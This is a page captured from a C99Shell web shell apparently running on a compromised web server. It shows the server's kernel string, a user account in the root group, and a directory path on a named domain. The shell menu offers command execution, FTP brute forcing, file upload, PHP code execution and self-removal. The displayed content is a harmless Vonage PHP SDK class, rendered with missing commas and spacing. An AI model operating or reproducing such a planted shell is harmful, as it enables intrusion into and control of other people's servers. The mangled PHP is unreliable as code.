!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/vonage/client-core/src/Call/   drwxr-xr-x
Free 28.88 GB of 117.98 GB (24.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Endpoint.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Vonage Client Library for PHP
 *
 * @copyright Copyright (c) 2016-2020 Vonage, Inc. (http://vonage.com)
 * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0
 */

declare(strict_types=1);

namespace 
Vonage\Call;

use 
JsonSerializable;
use 
RuntimeException;

use function 
array_merge;
use function 
trigger_error;

/**
 * Class Endpoint
 * Represents a call destination / origin.
 *
 * TODO: Try to unify this and other (message, etc) endpoint identifiers.
 *
 * @deprecated Please use Vonage\Voice\Endpoint\Phone instead
 */
class Endpoint implements JsonSerializable
{
    public const 
PHONE 'phone';

    
/**
     * @var string|null
     */
    
protected $id;

    
/**
     * @var string
     */
    
protected $type;

    
/**
     * @var array
     */
    
protected $additional;

    public function 
__construct(?string $idstring $type self::PHONE, array $additional = [])
    {
        
trigger_error(
            
'Vonage\Call\Endpoint is deprecated, please use Vonage\Voice\Endpoint\Phone instead',
            
E_USER_DEPRECATED
        
);

        
$this->id $id;
        
$this->type $type;
        
$this->additional $additional;
    }

    public function 
getType(): string
    
{
        return 
$this->type;
    }

    public function 
getId(): ?string
    
{
        return 
$this->id;
    }

    public function 
set($property$value): self
    
{
        
$this->additional[$property] = $value;

        return 
$this;
    }

    public function 
get($property)
    {
        return 
$this->additional[$property] ?? null;
    }

    public function 
getNumber(): ?string
    
{
        if (!
self::PHONE === $this->type) {
            throw new 
RuntimeException('number not defined for this type');
        }

        return 
$this->getId();
    }

    public function 
__toString(): string
    
{
        return (string)
$this->getId();
    }

    public function 
jsonSerialize(): ?array
    {
        if (
$this->type === 'phone') {
            return 
array_merge(
                
$this->additional,
                [
                    
'type' => $this->type,
                    
'number' => $this->id
                
]
            );
        }

        throw new 
RuntimeException('unknown type: ' $this->type);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--